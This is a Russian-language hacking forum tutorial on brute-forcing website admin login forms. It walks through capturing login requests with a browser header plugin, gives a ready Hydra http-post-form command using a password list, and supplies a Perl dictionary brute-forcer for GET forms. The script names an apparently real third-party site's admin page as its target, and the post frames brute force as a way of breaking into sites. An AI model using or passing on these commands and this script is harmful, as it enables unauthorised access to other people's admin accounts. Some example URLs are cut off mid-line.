[into]
Порой бывают такие моменты, когда как не искал баги ничего не находилось, кто складывает ручки, кто ещё что, а многие забывают про обычный брутфорс. Часто спасающая весчь;) которую тоже стоит принять во внимание как способ взлома.
[post формы]
Довольно популярный вид, часто встречается...
Что нам нужно?
Код:
https://addons.mozilla.org/en-US/firefox/addon/3829
Плагин для мозиллы hhtp header))) У меня лично он всегда установлен, чтоб знать все! Что и куда передает броузер...
Заходим в нужную нам админку, врубаем плагин, вписываем в поля логин и пароль все что хотим, логинимся... Маловероятно, что мы с первой попытки отгадаем пассворд 
Смотрим во вкладке генератор, что мы передали мы видим. Что-то типа
Код:
post http://site.com/admin/login.php user=1&password=1
Вот мы и видим, что мы передали, это нам пригодится;) Кстати это выручает при других условиях, к примеру при Sql injection при подборе полей к админским аккаунтам ну ладно идем далее.
Нам нужно... Угадайте что???
Hydra
самый лучший брутфорсер как раз по мне;)
Найти ссылу на скачку и описание можно тут:
Код:
http://forum.whack.ru/showthread.php?t=1122
Под винду ссылку можно найти тут
Код:
http://forum.whack.ru/showthread.php?t=82
рассмотрим под nix под винду сами допрете почти тоже самое
Предположим в header'e нам выдало
Код:
post http://site.com/admin/login.php user=1&password=1
Код:
./hydra -l admin -P pass.txt -v -V -o result.txt site.com http-post-form "admin/login.php:user=^USER^&password=^PASS^:failed"
Фраза "failed" это то, что нам отобразилось в случае неправильного ввода пароля можно. Может быть в все что угодно, но важно то, чтобы это слово или несколько слов было на странице с авторизацией. Смотрите сорсы и смело ставьте, главное ставьте те слова, которые наверняка не встретятся, если вы залогинитесь успешно и попадете на страницу админа, компьютер дурак, что сказали, то и делает он не различает страницу авторизации и страницу админа, если грамотно не написать различия между этими страницами.
можно на список логинов для этого вместо -l пишем -L
и пойдет брут))) Уникальная вещь, много чего можно подобрать.
Тут все понятно идем далее.
[get формы]
Тут проще, так как запрос формируется просто. Тоже самое сапускаем плагин для firefox вводим данные в нашу страничку с web авторизацией.
получаем что-то типа
Код:
get http://site.com/admin/login.php?user=1&password=1
то есть если вы в адресной строке введете
Код:
get http://site.com/admin/login.php?user="правильный логин"&password="правильный пароль"
Вы пройдете авторизацию... Можно на гидре там есть брут get form легко переделаете команду и будете брутить и альтернативный вариант...
Чуть по резче будет)
Я написал perl скрипт для этого дела. То есть брута.
Код:
#!usr/bin/perl
print "\t\t
################################################################
############ get form bruteforcer by ImpLex whack.ru #######
############ using: brute.pl -p priznak #######
############ brute.pl -p failed #######
################################################################\n\n";
use LWP::UserAgent;
use Getopt::Std;
getopts("p:");
sub brute($password,$ls)
{
$ls = $opt_p;
$target = "http://www.al-ameri.com/admin/access.php?username=a&password=".$password."";
$client = LWP::UserAgent->new( ) or die "fucking browser does not work\n";
$ans = $client->get($target);
if (index($ans->content,$ls)<1000){
print "password found : $password";
}
}
$pr = $ls;
open(DICTIONARY, "dic.txt") or die "dictionary not found";
print "Start bruteforce=>please wait\n";
while (defined($password=<DICTIONARY>)) {
&brute($password,$ls);
}
close(DICTIONARY);
тут все легко, где $target
вводим то, что нам показал header только вместо пароля ставим ".$password."
тут рассмотрен пример
header нам выдал например
Код:
get http://www.al-ameri.com/admin/access.ph … ord=qwerty
значит мы заменяем $target в скрипте таким образом:
Код:
http://www.al-ameri.com/admin/access.ph … ot;";
Для тех кто в танке, ".$password." это значение из словаря.
Пихаем этот скрипт в одну папку со словарем. Словарь называем Dic.txt
Запускаем и нам надо ввести признак
к примеру
brut.pl -p login failed
то есть в опции -p указываем свой признак. Жмем enter и пошло брутиться.
[Конец]

